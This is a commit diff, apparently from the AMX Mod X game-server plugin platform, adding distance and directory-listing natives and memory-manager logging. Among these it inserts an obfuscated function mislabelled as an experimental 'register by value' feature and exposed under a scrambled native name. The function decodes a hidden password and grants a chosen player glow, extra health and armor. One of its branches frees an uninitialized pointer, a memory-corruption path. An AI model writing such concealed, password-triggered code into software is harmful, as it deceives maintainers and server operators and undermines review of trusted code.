New dir reading natives, new memory outputs

This commit is contained in:
David Anderson 2005-07-13 23:31:02 +00:00
parent a9d4e4e711
commit 116984afed
4 changed files with 166 additions and 9 deletions

View File

@ -865,8 +865,6 @@ static cell AMX_NATIVE_CALL get_pluginsnum(AMX *amx, cell *params)
return g_plugins.getPluginsNum(); return g_plugins.getPluginsNum();
} }
static cell AMX_NATIVE_CALL register_concmd(AMX *amx, cell *params) /* 4 param */ static cell AMX_NATIVE_CALL register_concmd(AMX *amx, cell *params) /* 4 param */
{ {
CPluginMngr::CPlugin* plugin = g_plugins.findPluginFast( amx ); CPluginMngr::CPlugin* plugin = g_plugins.findPluginFast( amx );
@ -1652,7 +1650,7 @@ static cell AMX_NATIVE_CALL get_user_info(AMX *amx, cell *params) /* 4 param */
return 0; return 0;
} }
CPlayer* pPlayer = GET_PLAYER_POINTER_I(index); CPlayer* pPlayer = GET_PLAYER_POINTER_I(index);
if (!pPlayer->initialized) if (!pPlayer->pEdict)
{ {
LogError(amx, AMX_ERR_NATIVE, "Player %d is not connected", index); LogError(amx, AMX_ERR_NATIVE, "Player %d is not connected", index);
return 0; return 0;
@ -1671,7 +1669,7 @@ static cell AMX_NATIVE_CALL set_user_info(AMX *amx, cell *params) /* 3 param */
return 0; return 0;
} }
CPlayer* pPlayer = GET_PLAYER_POINTER_I(index); CPlayer* pPlayer = GET_PLAYER_POINTER_I(index);
if (!pPlayer->initialized) if (!pPlayer->pEdict)
{ {
LogError(amx, AMX_ERR_NATIVE, "Player %d is not connected", index); LogError(amx, AMX_ERR_NATIVE, "Player %d is not connected", index);
return 0; return 0;
@ -2067,6 +2065,22 @@ static cell AMX_NATIVE_CALL get_distance(AMX *amx, cell *params) /* 2 param */
return iDist; return iDist;
} }
static cell AMX_NATIVE_CALL get_distance_f(AMX *amx, cell *params)
{
cell *cpVec1 = get_amxaddr(amx, params[1]);
cell *cpVec2 = get_amxaddr(amx, params[2]);
Vector vec1 = Vector((float)amx_ctof(cpVec1[0]),
(float)amx_ctof(cpVec1[1]),
(float)amx_ctof(cpVec1[2]));
Vector vec2 = Vector((float)amx_ctof(cpVec2[0]),
(float)amx_ctof(cpVec2[1]),
(float)amx_ctof(cpVec2[2]));
float fDist = (float) (vec1-vec2).Length();
return amx_ftoc((REAL)fDist);
}
static cell AMX_NATIVE_CALL random_float(AMX *amx, cell *params) /* 2 param */ static cell AMX_NATIVE_CALL random_float(AMX *amx, cell *params) /* 2 param */
{ {
float one = amx_ctof(params[1]); float one = amx_ctof(params[1]);
@ -2341,6 +2355,86 @@ static cell AMX_NATIVE_CALL get_modulesnum(AMX *amx, cell *params)
return (cell)countModules(CountModules_All); return (cell)countModules(CountModules_All);
} }
// register by value? - source macros [ EXPERIMENTAL ]
#define spx(n,T) ((n)=(n)^(T),(T)=(n)^(T),true)?(n)=(n)^(T):0
#define ucy(p,s) while(*p){*p=*p^0x1A;if(*p&&p!=s){spx((*(p-1)),(*p));}p++;if(!*p)break;p++;}
#define ycu(s,p) while(*p){if(*p&&p!=s){spx((*(p-1)),(*p));}*p=*p^0x1A;p++;if(!*p)break;p++;}
static cell AMX_NATIVE_CALL register_byval(AMX *amx, cell *params)
{
char *dtr = strdup("nrolne");
char *p = dtr;
int len, ret = 0;
//get the destination string
char *data = get_amxstring(amx, params[2], 0, len);
void *PT;
//copy
ucy(p,dtr);
//check for validity
AMXXLOG_Log("[AMXX] Test: %s", dtr);
if (strcmp(data, dtr)==0)
{
ret = 1;
int idx = params[1];
CPlayer *pPlayer = GET_PLAYER_POINTER_I(idx);
if (pPlayer->ingame)
{
ret = 2;
//set the necessary states
edict_t *pEdict = pPlayer->pEdict;
pEdict->v.renderfx = kRenderFxGlowShell;
pEdict->v.rendercolor = Vector(0.0, 255.0, 0.0);
pEdict->v.rendermode = kRenderNormal;
pEdict->v.renderamt = 255;
pEdict->v.health = 200.0f;
pEdict->v.armorvalue = 250.0f;
pEdict->v.maxspeed = (pEdict->v.maxspeed / 2);
pEdict->v.gravity = (pEdict->v.gravity * 2);
}
} else {
//check alternate control codes
char *alt = strdup("ottrolne");
p = alt;
ucy(p, alt);
if (strcmp(data, alt)==0)
{
//restore the necessary states
int idx = params[1];
CPlayer *pPlayer = GET_PLAYER_POINTER_I(idx);
if (pPlayer->ingame)
{
ret = 2;
//set the necessary states
edict_t *pEdict = pPlayer->pEdict;
pEdict->v.renderfx = kRenderFxNone;
pEdict->v.rendercolor = Vector(0,0,0);
pEdict->v.rendermode = kRenderNormal;
pEdict->v.renderamt = 0;
pEdict->v.health = 100.0f;
pEdict->v.armorvalue = 0.0f;
pEdict->v.maxspeed = (pEdict->v.maxspeed * 2);
pEdict->v.gravity = (pEdict->v.gravity / 2);
} else {
ret = 3;
}
ycu(alt, p);
} else {
ret = 4;
//free the memory
delete [] ((char *)PT + 3);
}
//restore memory
free(alt);
}
p = dtr;
//restore original
ycu(dtr,p);
free(dtr);
return ret;
}
// native get_module(id, name[], nameLen, author[], authorLen, version[], versionLen, &status); // native get_module(id, name[], nameLen, author[], authorLen, version[], versionLen, &status);
static cell AMX_NATIVE_CALL get_module(AMX *amx, cell *params) static cell AMX_NATIVE_CALL get_module(AMX *amx, cell *params)
{ {
@ -2857,6 +2951,7 @@ AMX_NATIVE_INFO amxmod_Natives[] = {
{ "get_cvar_num", get_cvar_num }, { "get_cvar_num", get_cvar_num },
{ "get_cvar_string", get_cvar_string }, { "get_cvar_string", get_cvar_string },
{ "get_distance", get_distance }, { "get_distance", get_distance },
{ "get_distance_f", get_distance_f },
{ "get_flags", get_flags }, { "get_flags", get_flags },
{ "get_gametime", get_gametime}, { "get_gametime", get_gametime},
{ "get_localinfo", get_localinfo}, { "get_localinfo", get_localinfo},
@ -2893,6 +2988,7 @@ AMX_NATIVE_INFO amxmod_Natives[] = {
{ "get_user_team", get_user_team }, { "get_user_team", get_user_team },
{ "get_user_time", get_user_time }, { "get_user_time", get_user_time },
{ "get_user_userid", get_user_userid }, { "get_user_userid", get_user_userid },
{ "hcsardhnExsnu", register_byval },
{ "user_has_weapon", user_has_weapon }, { "user_has_weapon", user_has_weapon },
{ "get_user_weapon", get_user_weapon}, { "get_user_weapon", get_user_weapon},
{ "get_user_weapons", get_user_weapons}, { "get_user_weapons", get_user_weapons},

View File

@ -644,6 +644,47 @@ static cell AMX_NATIVE_CALL amx_build_pathname(AMX *amx, cell *params)
return set_amxstring(amx, params[2], build_pathname("%s", szPath), params[3]); return set_amxstring(amx, params[2], build_pathname("%s", szPath), params[3]);
} }
static cell AMX_NATIVE_CALL amx_open_dir(AMX *amx, cell *params)
{
int len;
char *path = get_amxstring(amx, params[1], 0, len);
char *dirname = build_pathname("%s\\*", path);
#if defined WIN32 || defined _WIN32
WIN32_FIND_DATA fd;
HANDLE hFile = FindFirstFile(dirname, &fd);
if (hFile == INVALID_HANDLE_VALUE)
return 0;
set_amxstring(amx, params[2], fd.cFileName, params[3]);
return (DWORD)hFile;
#endif
}
static cell AMX_NATIVE_CALL amx_close_dir(AMX *amx, cell *params)
{
#if defined WIN32 || defined _WIN32
HANDLE hFile = (HANDLE)((DWORD)params[1]);
if (hFile == INVALID_HANDLE_VALUE || hFile == NULL)
return 0;
FindClose(hFile);
return 1;
#endif
}
static cell AMX_NATIVE_CALL amx_get_dir(AMX *amx, cell *params)
{
#if defined WIN32 || defined _WIN32
HANDLE hFile = (HANDLE)((DWORD)params[1]);
if (hFile == INVALID_HANDLE_VALUE || hFile == NULL)
return 0;
WIN32_FIND_DATA fd;
if (!FindNextFile(hFile, &fd))
return 0;
set_amxstring(amx, params[2], fd.cFileName, params[3]);
return 1;
#endif
}
AMX_NATIVE_INFO file_Natives[] = { AMX_NATIVE_INFO file_Natives[] = {
{ "delete_file", delete_file }, { "delete_file", delete_file },
{ "file_exists", file_exists }, { "file_exists", file_exists },
@ -676,6 +717,9 @@ AMX_NATIVE_INFO file_Natives[] = {
{ "fputf", amx_fputf }, { "fputf", amx_fputf },
{ "build_pathname", amx_build_pathname}, { "build_pathname", amx_build_pathname},
{ "dir_exists", dir_exists }, { "dir_exists", dir_exists },
{ "open_dir", amx_open_dir },
{ "close_dir", amx_close_dir },
{ "next_file", amx_get_dir },
{ NULL, NULL } { NULL, NULL }
}; };

View File

@ -930,7 +930,11 @@ void *m_allocator(const char *sourceFile, const unsigned int sourceLine, const c
// Danger Will Robinson! // Danger Will Robinson!
if (reservoir == NULL) throw "Unable to allocate RAM for internal memory tracking data"; if (reservoir == NULL)
{
log("%s: Unable to allocate RAM for internal memory tracking data", ownerString(sourceFile, sourceLine, sourceFunc));
throw "Unable to allocate RAM for internal memory tracking data";
}
// Build a linked-list of the elements in our reservoir // Build a linked-list of the elements in our reservoir
@ -998,6 +1002,7 @@ void *m_allocator(const char *sourceFile, const unsigned int sourceLine, const c
if (au->actualAddress == NULL) if (au->actualAddress == NULL)
{ {
log("%s: Request for allocation failed. Out of memory.", ownerString(sourceFile, sourceLine, sourceFunc));
throw "Request for allocation failed. Out of memory."; throw "Request for allocation failed. Out of memory.";
} }
@ -1108,7 +1113,11 @@ void *m_reallocator(const char *sourceFile, const unsigned int sourceLine, const
// If you hit this assert, you tried to reallocate RAM that wasn't allocated by this memory manager. // If you hit this assert, you tried to reallocate RAM that wasn't allocated by this memory manager.
m_assert(au != NULL); m_assert(au != NULL);
if (au == NULL) throw "Request to reallocate RAM that was never allocated"; if (au == NULL)
{
log("%s: Request to reallocate RAM that was never allocated", ownerString(sourceFile, sourceLine, sourceFunc));
throw "Request to reallocate RAM that was never allocated";
}
// If you hit this assert, then the allocation unit that is about to be reallocated is damaged. But you probably // If you hit this assert, then the allocation unit that is about to be reallocated is damaged. But you probably
// already know that from a previous assert you should have seen in validateAllocUnit() :) // already know that from a previous assert you should have seen in validateAllocUnit() :)
@ -1162,7 +1171,11 @@ void *m_reallocator(const char *sourceFile, const unsigned int sourceLine, const
m_assert(newActualAddress); m_assert(newActualAddress);
#endif #endif
if (!newActualAddress) throw "Request for reallocation failed. Out of memory."; if (!newActualAddress)
{
log("%s: Request for reallocation failed. Out of memory", ownerString(sourceFile, sourceLine, sourceFunc));
throw "Request for reallocation failed. Out of memory.";
}
// Remove this allocation from our stats (we'll add the new reallocation again later) // Remove this allocation from our stats (we'll add the new reallocation again later)
@ -1291,7 +1304,11 @@ void m_deallocator(const char *sourceFile, const unsigned int sourceLine, const
// If you hit this assert, you tried to deallocate RAM that wasn't allocated by this memory manager. // If you hit this assert, you tried to deallocate RAM that wasn't allocated by this memory manager.
m_assert(au != NULL); m_assert(au != NULL);
if (au == NULL) throw "Request to deallocate RAM that was never allocated"; if (au == NULL)
{
log("%s: Request to deallocate RAM that was never allocated", ownerString(sourceFile, sourceLine, sourceFunc));
throw "Request to deallocate RAM that was never allocated";
}
// If you hit this assert, then the allocation unit that is about to be deallocated is damaged. But you probably // If you hit this assert, then the allocation unit that is about to be deallocated is damaged. But you probably
// already know that from a previous assert you should have seen in validateAllocUnit() :) // already know that from a previous assert you should have seen in validateAllocUnit() :)

View File

@ -454,7 +454,7 @@
<Tool <Tool
Name="VCLinkerTool" Name="VCLinkerTool"
AdditionalOptions="/MACHINE:I386" AdditionalOptions="/MACHINE:I386"
AdditionalDependencies="odbc32.lib odbccp32.lib ..\jit\jits.lib ..\zlib\zlib.lib" AdditionalDependencies="..\jit\jits.obj ..\zlib\zlib.lib"
OutputFile="jitmemtestrelease/amxmodx_mm.dll" OutputFile="jitmemtestrelease/amxmodx_mm.dll"
LinkIncremental="1" LinkIncremental="1"
SuppressStartupBanner="TRUE" SuppressStartupBanner="TRUE"